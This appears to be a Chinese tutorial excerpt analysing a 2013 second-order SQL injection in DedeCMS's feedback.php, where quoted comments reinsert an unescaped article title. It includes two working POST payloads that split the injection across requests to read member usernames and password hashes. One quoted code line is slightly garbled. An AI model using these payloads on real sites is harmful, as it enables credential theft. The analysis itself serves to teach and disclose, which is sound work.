dedecms二次注入漏洞分析_优品建站

dedecms二次注入漏洞分析

  顺便找一找还是能找到不少二次漏洞很经典的案例,这里我们还是以dedecms的feedback.php文件引用评论的SQL注入漏洞来做一个分析,该漏洞在2013年3月在乌云网被公布,漏洞编号WooYun-2013-18562,作者为safekey 团队的yy520,公布初期还有一个60个注入字符的限制,在经过safekey团队的讨论后成功绕过了这个限制使得漏洞利用并不鸡肋。在漏洞公布之后,官方立即采取措施进行了漏洞修复,但非专业安全的人修复漏洞都有一个通病,不会做漏洞联想,别人指出哪有漏洞就修哪,跟这个漏洞同样利用方式的漏洞,在另外一个文件至今几年过去了还存在。
漏洞在/plus/feedback.php文件,代码如下:

//保存评论内容
if($comtype == 'comments')
{
    $arctitle = addslashes($title); //保存评论的文章标题
    $typeid = intval($typeid);
    $ischeck = intval($ischeck);
    $feedbacktype = preg_replace("#[^0-9a-z]#i", "", $feedbacktype);
    if($msg!='')
    {
          $inquery = "INSERT INTO `#@__feedback`(`aid`,`typeid`,`username`,
              `arctitle`, `ip`,`ischeck`,`dtime`, `mid`,`bad`,`good`,`ftype`,`
              face`,`msg`)
              VALUES ('$aid','$typeid','$username','$arctitle','$ip',
                    '$ischeck','$dtime', '{$cfg_ml->M_ID}','0','0',
                    '$f e e d b acktype','$face','$msg'); ";
              $rs = $dsql->ExecuteNoneQuery($inquery);
              if(!$rs)
              {
                  ShowMsg(' 发表评论错误! ', '-1');
                  //echo $dsql->GetError();
                  exit();
这段代码的功能是保存用户在文章评论页面提交的评论信息,其中:

$arctitle = addslashes($title);
获取被评论的文章标题,这里使用了addslashes()函数过滤,接着:

$inquery = "INSERT INTO `#@__feedback`(`aid`,`typeid`,`username`,`arctitle`,
    `ip`, `ischeck`,`dtime`, `mid`,`bad`,`good`,`ftype`,`face`,`msg`)
    VALUES ('$aid','$typeid','$username','$arctitle','$ip','$ischeck',
    '$dtime', '{$cfg_ml->M_ID}','0','0','$feedbacktype','$face','$msg');
    ";$rs = $dsql->ExecuteNoneQuery($inquery);
$rs = $dsql->ExecuteNoneQuery($inquery);
将提交的$arctitle变量保存到数据库中,这个过程是没有问题的,我们接着看:

//引用回复
elseif ($comtype == 'reply')
{
}
$row = $dsql->GetOne("SELECT * FROM `#@__feedback` WHERE id ='$fid'");
$arctitle = $row['arctitle']; //取出之前保存的文章标题
$aid =$row['aid'];
$msg = $quotemsg.$msg;//echo $msg."<br /><br />";
$msg = HtmlReplace($msg, 2);
//将$arctitle插入到数据库
$inquery = "INSERT INTO `#@__feedback`(`aid`,`typeid`,`username`,`arctitle`,
`ip`, `ischeck`,`dtime`,`mid`,`bad`,`good`,`ftype`,`face`,`msg`)
VALUES ('$aid','$typeid','$username','$arctitle','$ip','$ischeck',
'$dtime', '{$cfg_ml->M_ID}','0','0','$feedbacktype','$face','$msg')";
$dsql->ExecuteNoneQuery($inquery);
这段代码的作用是引用之前的评论到新的评论中,其中:

$row = $dsql->GetOne("SELECT * FROM `#@__feedback` WHERE id ='$fid'");
$arctitle = $row['arctitle']; //取出之前保存的文章标题
取出之前提交的文章标题,赋值给$arctitle变量,再往下:

$inquery = "INSERT INTO `#@__feedback`(`aid`,`typeid`,`username`,`arc-
    title`,`ip`, `ischeck`,`dtime`,`mid`,`bad`,`good`,`ftype`,`face`,`msg`)
    VALUES ('$aid','$typeid','$username','$arctitle','$ip','$ischeck',
        '$dtime','{$cfg_ml->M_ID}','0','0','$feedbacktype','$face','$msg')";
$dsql->ExecuteNoneQuery($inquery);
  可以看到$arctitle变量被写入到数据库,看到这里还记不记得,这个$arctitle是由用户提交的,第一次写入数据库的时候使用了addslashes()函数过滤,但是引用评论重新写入数据库的时候并没有过滤,文章标题的数据在整个流程的变化如图7-2所示。
用SQL来表示一下如下:
第一次插入的SQL为:

insert into xx(arctitle) values('11\'');
保存到数据库的标题内容为11',然后这个数据被select查询出来拼接到第二次插入的SQL上,SQL语句如下:

insert into xx(arctitle) values('11'');
可以看到引发了SQL注入。
  在这个漏洞中,标题字段有60个字符的长度限制,不能一次性把完整的payload写入进去,所以我们需要两次提交payload,最终利用方式如下,第一次请求提交

/plus/feedback.php?aid=52
POST内容:

action=send&comtype=comments&aid=52&isconfirm=yes&msg=xx&validate=BRUN&t
    itle=xx',(char(@`'`)),/*
我们打印SQL语句出来看看,如图7-3所示。
第二次请求:

/plus/feedback.php?aid=52
POST内容:

action=send&comtype=reply&fid=34&isconfirm=yes&validate=sill&msg=*/1,
    2,3,4,5,6,7,(select/**/concat(userid,0x3a,pwd)/**/from/**/dede_
    member/**/limit/**/1))%23
打印SQL语句出来看看,如图7-4所示。
发送两次请求后访问:

/plus/feedback.php?aid=52
  可以看到管理员密码已经被读取出来,如图7-5所示。

  • 网站制作的基础:版面设计与内容的有效结合
    随着互联网的发展,网站制作的版面设计变得越来越重要。访问者不想再看到只提供内容的网站。虽然内容很重要,但是只有把网站做好了,把网站的内容与版面设计有效结合起来,这种网站和站点才容易被人接受。
  • javascript实践案例:网页计算器
    网页计算器在Web开发中是很常见的功能。下面利用JavaScript中的函数,完成整数加、减、乘、除的运算,实现一个简易版的计算器。
  • 网站设计制作关键环节就是确定网站界面
    界面就是网站给浏览者的第一印象,往往决定着网站的可看性,在确定网站的界面时要注意以下三点:1.栏目与板块编排,2.目录结构与链接结构,3.进行形象设计。
  • 集成基于Promise的工具及Promise的用法
    我们要解释一下最后一条规则“如果一个工具会返回Promise,那么你就不需要这个工具的插件”,以免你还没听说过Promise。总体而言,Promise是一种用同步的方法来处理异步结果的方法。听起来很难懂?好吧,也许是有点。先剧透一下:Promise可以非常好地集成到Gulp task系统中
  • 网站建设如何选择和优化网站域名
    网站建设的第一步就是要注册域名,域名就相当于是实体店的地址,选址非常的重要。那么如何去选择域名更有利于网站优化和推广呢?本文就向大家详细介绍选择域名需要注意那些事项。
  • 网站制作具体流程及六大步骤是什么?
    网站制作是一个综合性极强的工作,涉及到商业策划、平面设计、人机界面、程序语言和数据库等,本文介绍网站制作六大步骤。
  • uniapp实现多端开发, PHP写api接口的一些注意事项与安全策略
    市面上很多关于多端开发的框架,比较常用,流行的框架 uni-app,Chameleon(变色龙),taro这些,都可以支持多端,一套代码,8个平台支持。
  • 房地产类网站制作报价内容明细
    本文主要介绍房地产类网站制作报价的内容和模板,包括移动端和pc端页面的设计和功能的开发。
  • 网站制作都包括那些费用,网站制作报价明细一览
    在各个地区很多中小型的实体企业很想给自己的公司创建一个网站来展示自己,因此就寻找当地开发公司来制做,但如何选择呢?网站制作的价格是这么订的?都包括那些费用呢?下面我们就介绍一下网站建设价格都包括那部分。
  • 公司制作一个优质官方网站需要多少钱?
    建站公司很多,企业不知如何选择,各家建站公司的报价也没有统一的规范。选贵的,觉得不划算,没必要;如果选择便宜的,就会有各种各样的后顾之忧。其实价格的高低并不能决定建站的质量,最重要的是要注意选择合适的建站公司。因为每个建站公司的收费规范都不一样,下面就给大家分析一下建站的费用。
  • 网站制作 服务

    免费网站制作报价,免费优化,1对1服务,个性化定制服务

    pc和wap网站制作

    多年建站经验,上千个成功案例,
    为您提供一站式服务

    网站维护改版

    大厂经验工程师对现有网站进行
    改版,修复,维护。

    小程序制作

    微信小程序,支付宝小程序,
    百度小程序

    响应式网页设计

    响应式网页设计可以与多种设备兼容,
    如智能手机,平板电脑和PC